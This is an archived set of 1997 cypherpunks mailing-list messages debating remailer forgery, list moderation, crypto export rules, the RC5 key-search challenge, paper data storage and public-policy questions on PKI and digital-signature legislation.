From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 20:35:17 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: Re: mail-to-news fun
In-Reply-To: <19970205054436.4083.qmail@anon.lcs.mit.edu>
Message-ID: <3.0.1.32.19970205203149.00603c20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:18 AM 2/6/97 -0000, you wrote:
>Unfortunately, you don't really have a choice about what kind of
>speech you are supporting if you run a remailer.  Don't fall into the
>trap of saying, "I want to give people complete freedom of anonymous
>speech... EXCEPT...."  As abhorrent as we may find the homophobic
>hatemongers from the "freedom-knights" list, I guarantee a lot of
>politicians would object more strongly to the "Help, I might be gay
>and my parents will kill me" post.  Once you set up a system for
>content-based censorship, don't think you can stay in control of it.

The problem isn't homophobic hatemongers who use their own names or nyms
or no name, or even get my remailer's name associated with that -
I can reply to complaints or file them in the handy bit bucket.
The problem is forgers signing _other_ people's names to their hatemonger
postings, causing the innocent third party to catch all the
flames that the forger was trying to generate. 

Stewart wrote:
>> On the other hand, I don't want to support postings titled
>> "ALL FAGS MUST DIE" with a forged signature and email at the bottom,
>> and I especially don't want to post that from my remailer without
>> indicating that anything posted by a remailer might be forged.
>> That's why I shut down my previous remailer - the forger only
>> posted one forged message; the person whose name got forged
>> got flamed severely by dozens of people who objected to "her" posts.
>> Blocking the gay newsgroups cuts down on that kind of trolling,
>> but also cuts out the "Help, I might be gay and my parents will kill me"
>> traffic that remailers are supposed to help with.

Guess I should have been more clear....

>As for forgery, I do add
>  X-Warning: Sender address is unverified and may not be authentic.
>to every article that goest through my mail2news gateway.

Does anybody read X-Warning: headers?  Not all newsreaders even show
all the headers.  It's a good start, and that's clearly the place
in the system to insert it.

>Additionally, I have a fast source-blocking system set up, so anyone
>in whose name articles are being forged can immediately stop it by
>mailing <srcblk-request@nym.alias.net>.  (This doesn't source-block
>them from the remailers, just the non-anonymizing mail2news gateway.)

That helps, at least if the spammer is doing a lot of it (or if the
spam is from a broken gateway program or whatever.)  But for the
troll that killed my remailer, one message was enough.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce M." <bkmarsh@feist.com>
Date: Wed, 5 Feb 1997 19:06:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702052002.MAA03703@toad.com>
Message-ID: <Pine.BSI.3.91.970205205700.24306D-100000@wichita.fn.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Marshall Clow wrote:

> Mr. Murray gave a long, impassioned speech.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.

    I was in attendance at an ISSA conference earlier this year where Mr. 
Murray gave the "keynote" speech on Electronic Commerce.  While he did 
strongly advocate the adoption of strong crypto and various methods of 
security, he never stepped into the more radical mode of encouraging 
people to break the law.  That was a different audience though.

    As he is also an ex-25 year IBM veteran it amazes me that he would 
make such a public outcry against govt. regulations (okay, so it's a 
stereotype).  Deloitte & Touche must really have a big stake in the 
pro-crypto market or else he actually cares a lot.

             ____________________________________________________
            [ Bruce M. - bkmarsh@feist.com - Feist Systems, Inc. ]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      "We don't want to get our butts kicked by a bunch of long-haired 
        26-year-olds with earrings." -- General John Sheehan on their 
                       reasons for InfoWar involvement





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 18:11:16 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresotebush
In-Reply-To: <199702052256.OAA06322@toad.com>
Message-ID: <v03007815af1ed301c3e2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 pm -0500 2/5/97, Mark Voorhees wrote:
>I'm almost certain that Murray is a consultant rather than
>or in addition to an accountant. He's been saying these things
>for years at conferences, in papers, on mailing lists, etc.

For the longest time, I've had a couple of people from dtus.com on my e$pam
feed. They signed on when I started my own list out of www-buyinfo.

About 6 months ago, however, mail to them started bouncing out of e$, the
chat list I set up as an adjunct to e$pam. Which makes sense, because
that's when they stopped chatting about e$. :-). I expect that the same
thing happend to e$pam, though Rachel Wilmer, who is my e$pam listmaster
would have seen it, and not I.


Actually, e$ has become something of a watering hole, now with about twice
as many subscribers as e$pam does. Some cypherpunks among them.

Oh. While we're all talking about moderation, e$pam is a sort of filtered
superset of cypherpunks. I have filtered cypherpunks posts in it, but I
also have stuff from the 50-odd mail lists and 70 news groups I follow. The
total feed can reach 300k a day sometimes, mostly because I include the
full text of stuff like some of John Young's articles, and the text of the
occasional web-page which tickles my fancy. Sort of immoderate moderation.
:-). You can subscribe to it on my web page, which is in my .sig, below.

I've a bunch of people working with me now on e$pam, who, among other
things, are in the process of getting it set up in a searchable archive.
Though, to prevent crawlers from seeing all the juicy bits (cf. Mr. Young,
above), we're probably going to have some kind of certificate-access scheme
when we get it all running. Rodney Thayer, who's doing IPSEC stuff, (among
other things :-)), is going to run a quick-and-dirty generic certification
authority to make that happen.

In the meantime, if you're interested in e$, or financial crypto, or other
stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
:-)), you might want to check it.


Even though cypherpunks is a lot "cleaner" now, and I did encourage Sandy
in his efforts initially, I suppose I'm now weighing in with (horrors!) Tim
on the subject of moderation. I think that if Sandy and John want to create
a moderated list (like I have done, though e$pam is more specific in
content) out of what happens on cypherpunks, they could do it with exactly
the traffic they have now in experimental moderation mode. The current
machine load doesn't seem to be impacting the throughput to
cypherpunks(moderated), modulo Sandy's moderation time, though if
toad.com's being used for much else, there might be problems there.

Part of the nice thing about cypherpunks 1.0 was that anything could happen
there. That it was anarchy in practice. And, maybe because of my periodic
altercations with Mr. May on this list (thank god for his kill-file :-))
even the anonymous Tim-slams were occasionally entertaining, in a, ahem,
biologically curious sort of way. ;-).

So, I guess I think we should put it back the way it was. Including, please
Mr. Gilmore, "officially' resubscribing the Wee-vil Dr. V. Then those
who've made it so can annouce to the world that cypherpunks is again a
proper anarchy. Then we can us deal with miscreants the way we used to, by
ignoring them, (and the occasional e-mailbomb...).


Finally, I have an analogy for cypherpunks from nature. There are lots of
plants, some of them the technically the largest living beings on earth,
which, at first glance, look like a bunch of different individual plants.
Aspen groves, for instance, are all linked together under the soil to the
same system of roots, and are genetically the same individual. Some of
these "stands" of trees cover tens of square miles, and one patch of
Aspens, in Wyoming? Montana? is the world's largest living thing, massing
several million(?) tons, and probably tens of thousands of years old.

Fungi do this too. Toadstools (a rather, heh, fecund analog for
cypherpunks) tend to create very large "individuals", with each toadstool
representing the fruiting body for a huge bunch of mycyillia(sp?)
underneath it. Toadstools create structures called, ahem, "fairy rings",
where the central mushroom dies, only to be replaced by a ring of other
mushrooms, which die, and so on, until they're covering your whole fucking
lawn and messing up your lawnmower bag... (well, anyway, you get the idea.)
There was the claim a few years ago that the same genetic individual slime
mold covered half of Wisconsin (Minnesota?).

The king of all the plants which do this, I think, is the cresote bush,
which, I believe, in some pieces of the Sonorran(sp?) desert, cover
hundreds of square miles. Scientists, using tree-ring dating, have worked
back, through various rings of cresote bushes, using their very slow growth
rates in the desert environment, to the center of the creosote bush
cluster, to estimate the date of these things. I remember claims that these
plants may have started from a single individual, there at the long dead
(or at least regrown-over) center of the ring, more than a hundred, and
maybe several hundred thousand years ago.

So, let nature take its course. Most lists die when people stop posting to
it. That certainly hasn't happened to cypherpunks. And, when it does, we
can all migrate out into the numerous rings of lists that cypherpunks has
spawned (I think I can account about putting together 10 or so myself)
among them.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Wed, 5 Feb 1997 13:15:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <199702030626.WAA14616@toad.com>
Message-ID: <5dat8s$poa@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702030626.WAA14616@toad.com>,
Vin McLellan  <vin@shore.net> wrote:
>	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
>almost all standard Unix college-lab workstations, as I understand it.
>(RC5 has a variable block size and a variable number of rounds; but the
>unknown plaintexts for this contest were enciphered using a declared
>12-round RC5 with a 32-bit word size.) The message Ian revealed was
>something like: "That's why you need a longer key!!!!!"
>
>	 (The network Ian used to link his lab workstations, NOW at
>Berkeley, is definitely not standard, however.  I think there is a
>description of it online; but briefly, NOW seems designed to very
>efficiently handle this sort of intensive distributed processing project.
>More important, perhaps, was the fact that Ian just chewed through the
>possible keys with a pure brute-force attack on the key space.  His attack
>was not really optimized for RC5, or designed to attack any specific
>element in the RC5 crypto architecture.)

Actually, it was 259 _machines_, but 4 of them were 8-processor UltraSPARCs
(by far the coolest machines I had access to), for a total of 287 processors.

The "special" network used by the NOW cluster was irrelevant; I didn't use
it at all.  I used the machines on the NOW and 120 other HP workstations
as regular TCP/IP clients.  I started them by simply logging in to each
machine, one at a time with "rsh" (well, "krsh" or "ssh" where appropriate).

   - Ian

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvj4REZRiTErSPb1AQFl5gP+MGlyElNu6X3IHseW6Q0EPicPa4mQs35Z
koUKkAhk0qrT2CpEzw7J6dtjyTLs2BUmScEOtvU8KiBjK8aRZCsE0BHSmONWtX71
dNZu1q/+wm2oSLi1tDq0mT7bpbBR0NbO71tWgza2vTFhtP4vKvzt5SodYSN+JTYL
5DuLvpofRFs=
=ly1x
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 18:35:47 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060234.VAA29077@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
who we can't talk about" or "Child Pornographer Y who we can't talk 
about" (in lieu of cases being digested by the court system) so I 
didn't harp on that point.

A point I did leave out was that if they already knew these people 
were criminals and were building cases against them, monitoring them 
enough to know they used crypto, then do they really need to bother 
with listening in to the exact message?

I wanted to emphasize the phallacy of the sacrifical lamb of rights 
in the name of the god of security.  Also, they mungled the letter 
enough, so it's better for LI Newsday (which caters to a reading 
level of the average 12-year-old) submissions to be kept short and 
sweet.

I'm quite surprised that mine is the only letter they printed. 
Certainly they would have gotten more than one submission on a 
controversial subject?

--Rob

On  5 Feb 97 at 18:22, jim bell wrote:

> But which "criminals," exactly, are "increasingly using encryption to 
> conceal their plans and activities"?  Let's not concede this unless it's 
> really true.
> 
> It would be far more accurate to say that it's likely that many people who 
> are politically hostile to their government are using encryption in 
> anticipation of persecution by the government, persecution that could easily 
> come in the form of criminal charges.
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 
> 

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 21:44:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060544.VAA13872@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This time I have opted for a point by point.
At 07:59 PM 2/5/97 -0800, jim bell wrote:
...
>The kind of effects I'm thinking of are primarily the "military spending" 
>situations, where:
>
>1.  Large numbers of potentially competent and useful people get put into 
>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>(Those people who still think military spending is really necessary 
>obviously haven't read AP.)
This point I can not argue with, at least not directly.  I do believe that
the military way is wasteful of resources.  However, this is one area that
has actually benefitted the lower-income bracket in that it gives them
"inexpensive" (off-chance of death) access to good training.
>2.  Large amounts of money are spent on military hardware, money which goes 
>to fund  people who would otherwise develop useful products in the 
>non-government private sector.
Three things that promote technological growth, expansion, war, threat of war.
As for expansion. we really have no where else to go.  As for war and threat
of war, the computer was invented during a war, atomic energy was harnessed
during war, the internet was created during threat of war.  Many
advancements, though not all, come to benefit society later.  For that
matter, steel was probably invented during a war as well, but I can't prove it.
>3.  The patent system decreases competition, increases profits and prices in 
>the marketplace due to government actions to allow and enforce monopolies.
The patent system gives the innovator a reward for ingenuity, that person
can decide what to do with the invention for a short period of time, after
which it becomes available to all.  (BTW I really think that computer code
should be copyrighted and not patented, this allows others to reproduce the
work independantly without repercussions, gives the necessary protection,
makes it more obviously a form of speech.)
>4.  Government employees are paid more for their activities than they would 
>receive in the private sector.  Ironically, in this case an 
>"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
>middle level government manager to his counterpart in private industry, 
>because to postulate there is such a government-job assumes that the 
>private-sector would do it post-AP.  

To this I can't argue, business is certainly leaner than government.  Of
course most desert plants are more robust than their resource-wasteful
wetland counterpart.  Where there is a near-bottomless supply of material,
as in taxes, true streamlining really doesn't happen.  Remember, the
automobile really didn't become anywhere near fuel-efficient until after the
energy crisis.
> 
>>If you are right then governments would effectively lose the ability to tax,  
>>with or without representation, as most people do not agree on everything,
>>like how their money is spent.  However, even now, as pointed out in some
>>recent posts, our tax money is used to foreward the goals of a few, these
>>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>>oppostition, our money is still used to foreward the goals. 
>
>Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
>nothing would prevents individuals from continuing to fund an organization 
>called a "government" so that it could do those (non-coercive) things that 
>individual wants to see done.  But I think it'll be amazing how many of 
>those heretofore-funded-by-govt projects (previously promoted as being 
>wanted by a large fraction of the citizenry) that evaporate when the public 
>is given the option to continue to fund them voluntarily.
>
>
>Let's suppose, hypothetically and for vast simplification, the government 
>engages in two activities, "A" and "B."   Further suppose government taxes 
>from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
>thought that Alphas like spending on "A",  but hate spending on "B".   
>Likewise, it is figured that Betas like spending on "B", don't like spending 
>on "A".    
>
>Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
>fund only "A",  while Betas" would donate money for activity "B".   Assuming 
>the amount of funding for those activities was equal, you might think that 
>things could go on as they already do.  But no.   The reality is that 
>"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
>tolerate their own money being used for both only because the "Betas" are 
>similarly forced.  Add volunteerism to the whole mix, and not only would 
>these two groups only fund just what they really wanted, they would soon 
>discover they don't even want the level of spending they previously argued 
>for, pre-AP.
As it is, the "A" group, that's not us, is being promoted with virtually all
of the capitol, the "B" group, us, is being attacked in policy and attempts
are being made to keep us from getting any bigger.
...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Feb 1997 13:45:38 -0800 (PST)
To: declan@pathfinder.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <v03007810af1d7405e4ee@[168.161.105.191]>
Message-ID: <199702052145.VAA00144@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:
> Adam writes:
> 
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.
> 
> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value.

Their policies impose the editors and owners biases on the
publication.  If people value their publication they buy it.  The
average quality of the articles is higher than a discussion group --
the authors spend longer writing the articles, and the best articles
are selected by the editors.  Unsuprising.  The articles are probably
biased towards the editors or owners politics.

> Moderation is not necessarily censorship. Would you criticize the
> National Coalition Against Censorship for not including in their
> newsletter (to which I subscribe) off-topic rants by Jesse Helms?

A newsletter is not a discussion forum.  Editorial control of a
newsletter is not moderation of a discussion group.  The cypherpunks
list is a discussion forum.  It's the electronic equivalent of people
talking amongst themselves about crypto issues in free time at CFP, or
a crypto conference.

> What Vulis and the rest (whom I killfiled long ago) have done is
> polluted a common resource, making it unusable for the rest. It's
> the tragedy of the commons. When all can speak without limit in a
> public forum, the drunken boor can shout everyone else down.

Dimitri's opinions aren't threatening anything.  If you aren't
interested in what he says don't read his articles.  If you disagree
with what he says, argue against it.  Subscribe to or start filtering
services (rating services) reflecting your views.

Personally I think something useful could be done with a content
digested form of cypherpunks with ratings, and pointers to the actual
posts.

Things like:

+ a thread on the experiment moderation, discussion from John Gilmore,
  Tim May, and others (hypertext ref)

+ series of latest ascii art and insults

+ new crypto developments in article forwarded by JYA

+-+ discussion of new crypto developments, and Lucky offers a bet

Would take a fair amount of effort from someone to produce a running
commentry of cypherpunks discussions to provide a higher level index
in to cypherpunks.

The price of unconditional free speech is that people will say things
which you personally don't agree with, however libertarian you are.

The only thing to do is to ignore stuff you don't like, or argue
against it, if you say, no this is too crap, or too worthless, then
you've started on the slippery slope.  It is the same principle that
protects your own freedom of expression.

It is worth bearing in mind that cypherpunks themselves are part of a
minority (the population of people who understand what encryption is
and implies, and know what governments are proposing enough to form an
opinion on whether crypto should be regulated or not).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 22:04:53 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: ITAR and Paper ROM
Message-ID: <199702060604.WAA06737@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>>should be possible to achieve the equivalent of 100x100 bpi of
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>>100 kilobytes.   What does ITAR say about this?
>
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable.  In these investigations I used matricies of
>small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
>to replace diskettes for inexpensive mass data distribution.  I was able to
>reliably get 100-200 KB/page side using standard offset printing.  With
>modern ink-jet/laser printers you should be able to reliably get at least
>10-50KB/page side. Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a few
>years earlier.

It seems to me that the main impediment to doing this in the middle 1980's 
was the lack of inexpensive scanners.  But the utility of a system like this 
has, unfortunately (?) or perhaps fortunately, probably been killed by the 
Internet.  Today, a magazine or newspaper can merely post a short pointer to 
a website including an FTP, or something similar.  True, that doesn't 
guarantee the availability of the data years later, but...



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 22:37:54 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: ITAR and Paper ROM
In-Reply-To: <199702051939.LAA03422@toad.com>
Message-ID: <3.0.1.32.19970205222643.0061e5a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable. [....]
>to replace diskettes for inexpensive mass data distribution.  
> Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a 
>few years earlier.

Yeah, our patent office is so helpful - granting a patent for
	"Storage of Information By Making Marks On Paper" :-)
You'd think they'd recognize a few thousand years of prior art.....

Xerox also has a similar patent; their method uses little diagonals
to encode data in. ///\\\///  It really _isn't_ called "cuneform".

More practically, sort of, there was the Cauzin Softstrip Reader,
which cost about $200 and held enough data to distribute programs
back when computers and programs were much smaller; a few PC magazines
tried distributing programs by printing them in the back that way.
Cute, but not cute enough to stick around very long.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 19:55:56 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: [RRE FWD] PKI: 10 Public Policy Questions
Message-ID: <3.0.1.32.19970205225459.009a45d0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks-
Got this off of the Red Rock Eater list,
<http://communication.ucsd.edu/pagre/rre.html>, and figured those of you
not on it might like a read.

_________________________________________________
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: PKI: 10 Public Policy Questions
X-Url: http://communication.ucsd.edu/pagre/rre.html

[The bottom line: State legislation on digital signatures presupposes an
overly centralized architecture and is weighted against victims of fraud.
Pursuing inherently national or global issues on the state level permits
interested parties to shop for a friendly legislature, who will then set
a precedent that other jurisdictions are likely to follow.  This system
is biased against less politically mobilized constituencies and favors
older technologies and more centralized business models.]

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This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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Date: Wed, 05 Feb 1997 09:48:01 -0800
From: Bradford Biddle <BIDDLECB@COOLEY.COM>
Subject: PKI: 10 Public Policy Questions

[...]

* * * * * * * * *

[Copyright 1997 C. Bradford Biddle; permission granted for
non-commercial electronic redistribution]

CFP '97: LUNCHTIME WORKSHOP, WED. MARCH 12 1997 12:30PM -2:00PM

PUBLIC KEY INFRASTRUCTURES AND "DIGITAL SIGNATURE" LEGISLATION: 10
PUBLIC POLICY QUESTIONS

BRAD BIDDLE*

	Following the lead of the state of Utah, numerous states and
several foreign countries have enacted "digital signature" legislation
aimed at promoting the development of a public key  infrastructure
(PKI).  While PKI legislation has acquired significant momentum, it is
not clear that lawmakers have carefully considered the public policy
implications and long-term consequences of these laws.  This luncheon
session will explore certain policy questions related to a PKI, in an
informal "open discussion" format.  Ten questions we hope to address
are:

1.	Is legislation necessary at all?	

	Proponents of digital signature legislation start with the
premise that the need for a PKI is clear: public key cryptography and
verifiable certificates offer the best hope for sending secure,
authentic electronic messages over open networks, thereby facilitating
electronic commerce. They argue that the reason that the commercial
marketplace has not produced a viable certification authority (CA)
industry is because of legal uncertainty (CAs are unable to determine
their potential liability exposure because of a confusing array of
applicable background law) or because existing law imposes too much
liability on CAs.  Thus, proponents argue, legislation is necessary in
order to provide certainty in the marketplace and allow a much-needed
industry to emerge, as well as to address other issues such as the legal
status of digitally signed documents.

	Opponents of this view assert that it is far too soon to
conclude that the market will not produce commercial CAs, and point to
the increasing numbers of commercial CAs emerging even in the absence of
legislation.  Time is solving the "uncertainty" problem, opponents
argue, and the "too much liability" problem is the product of flawed
business models, not a flawed legal system. Opponents of legislation
argue that the real danger is that a group of lawyers will impose a set
of flawed rules that will fundamentally skew a dynamic infant
marketplace and "lock in" a set of business models that the market would
otherwise reject.  The time for legislation and regulation is after
identifiable problems exist in a mature industry, opponents say, not
before an industry even exists.  Opponents of legislation further argue
that existing legal mechanisms can address the issue of the legal status
of digitally signed documents.

2.	Where should PKI legislation occur?

	Debate also occurs over the appropriate jurisdictional level for
digital signature legislation. Some observers cringe at the thought of
50 inconsistent state digital signature laws; others believe that CAs
and consumers will opt-in to the most sensible legislative scheme, and
thus believe that competition between the states is helpful.  Proponents
of uniformity and consistency argue for PKI legislation at the federal
or international level; opponents of this view point out that general
commercial law has long been the province of state legislatures.

3.	Is licensing of Certification Authorities the right approach?

	Under the Utah Digital Signature Act ("Utah Act") and much of
the subsequent PKI-related legislation CAs are licensed by the state. 
The Utah Act makes licensing optional: CAs that obtain licenses are
treated with favorable liability rules, but non-licensed CAs may exist
in Utah. Licensing is a highly intrusive form of government regulation
(other, less intrusive methods of regulation include mandatory
disclosure requirements, altering liability rules to avoid externalized
costs, bonding or insurance requirements, etc.).  Typically, licensing
as a form of regulation is reserved for circumstances where a market
flaw cannot be addressed by other, less intrusive means.   Does this
sort of dynamic exist with CAs?  Would consumers be able to make
informed, rational choices between CAs?  Could an incompetent CA cause
irreparable harm?  Could other types of regulation address any relevant
market flaws?  If unlicensed practitioners are allowed to exist, subject
to different liability rules, how will this affect the CA market?

4.	Should legislation endorse public key cryptography, or be
"technology neutral"?

	Most of the digital signature legislation to date has focused
specifically on digital signatures created using public key
cryptography.  Some legislation has also addressed the issue of
"electronic signatures" -- other, non-public key methods of
authenticating digital transmissions. Proponents of biometric
authentication methods argue that it is foolish to legislatively
enshrine public key cryptography as the only technology capable of
authenticating an electronic document. They argue that biometric methods
can currently accomplish many of the same goals as digital signatures;
they further argue that by precluding other technologies future
innovations will be discouraged.  They also note that public key
cryptography can only be implemented using patents owned by a limited
number of commercial entities, and question whether it is wise public
policy to legislatively tie electronic commerce so closely to the
interests of a few private sector actors.

5.	Should legislation endorse the X.509 paradigm?

	When the Utah Act was enacted, it explicitly endorsed the X.509
infrastructure model. Subsequent laws have dropped the explicit
endorsement of X.509, but nonetheless remain true to the X.509 paradigm.
 Under most digital signature legislation, certificates serve to bind an
individual's *identity* to a particular public key.  This binding is
accomplished in the context of a rigid, hierarchical CA infrastructure. 
This model has been criticized for two main reasons: global CA
hierarchies are almost certainly unworkable, and identity certificates
often provide too much information -- frequently an "attribute" or
"authority" certificate will do.  Alternative certificate formats, such
as SDSI and SPKI, have emerged in response to these and other perceived
flaws with the X.509 model.  However, it is not clear that these
alternative certificate formats can be accommodated under current
digital signature legislation.

6.	How should liability and risk be allocated in a PKI?

	Liability allocation promises to be a vexing problem in a PKI.
The liability issue is most dramatic in the context of fraud.  An
impostor can obtain the private encryption key associated with a
particular party and create electronic documents purporting to be from
that party.  A second party may enter into an electronic contract
relying on these ostensibly valid documents, and a loss may occur.  Who
should bear this loss? In the paper world, generally one cannot be bound
by a fraudulent signature.  This principle may not be entirely
appropriate in an electronic context, however.  In a PKI, the integrity
of the infrastructure depends upon the security of private encryption
keys.  If a key holder bears no liability for fraudulent use of that
private key, perhaps he or she  may not have adequate incentive to keep
the private key secure.

	How much liability should the private key holder bear?  Under
the Utah Act and its progeny, an individual who negligently loses
control of their private key will bear unlimited liability. This risk
allocation scheme raises the specter of consumers facing immense losses
-- as one commentator puts it: "Grandma chooses a poor password and
loses her house."  In contrast, consumer liability for negligent
disclosure of a credit card number is generally limited to $50.  If
consumer liability were similarly limited in a PKI, where would the risk
of loss fall?  If CAs had to act as an insurer in all transactions, the
price of certificates would likely be extraordinarily high.  If relying
third parties faced the risk that ostensibly valid documents may in fact
be forgeries and bear any resulting loss, then some benefits of a PKI
are lost. 

7.	What mechanisms should be used to allocate risk?

	Currently at least one commercial certification authority,
VeriSign,  is attempting to allocate risk to both certificate subjects
and relying third parties by contract.  VeriSign includes significant
warranty disclaimers, liability limitations, and indemnification
provisions in its Certification Practices Statement (CPS).  Certificate
applicants agree to be bound by the CPS when obtaining a certificate. 
VeriSign's web page informs relying third parties that the act of
verifying a certificate or checking a certificate revocation list
indicates agreement to the terms of the CPS.  However, it is not clear
that a binding contract can be formed with relying third parties in this
fashion.  Thus the relationship between VeriSign and relying parties may
not be governed by the CPS at all, but instead be subject to default
contract and tort rules (which would be less favorable to VeriSign). As
a policy matter, should CAs be able to form contracts with relying third
parties, despite their rather attenuated connection?  If relying parties
will be bound by unilateral contracts imposed by CAs, they face
significant transaction costs involved with determining the contract
terms offered by potentially numerous CAs.  If CAs cannot scale their
potential liability exposure to third parties by contract, however, it
may be impossible for CAs to compete on warranty terms -- and presumably
such terms would otherwise be the subject of significant competition.

8.	Should digitally-signed documents be considered "writings" for
all legal purposes?

	The Utah Act and most other digital signature laws provide that
digitally signed documents have the same legal effect as writings. 
Critics have noted that while most of the functions or goals of writing
requirements may be served by electronic documents, this may not be true
in all instances.  For example, the law often requires a written
instrument to effect notice -- i.e., to alert an individual that a lien
has been filed on their property.  It is not clear that a digitally
signed electronic message would achieve the same effect.  Additionally,
there are other contexts -- such as wills or adoption papers -- where
paper documents may prove more effective than electronic documents. 
Moreover some paper documents (such as bank drafts or warehouse
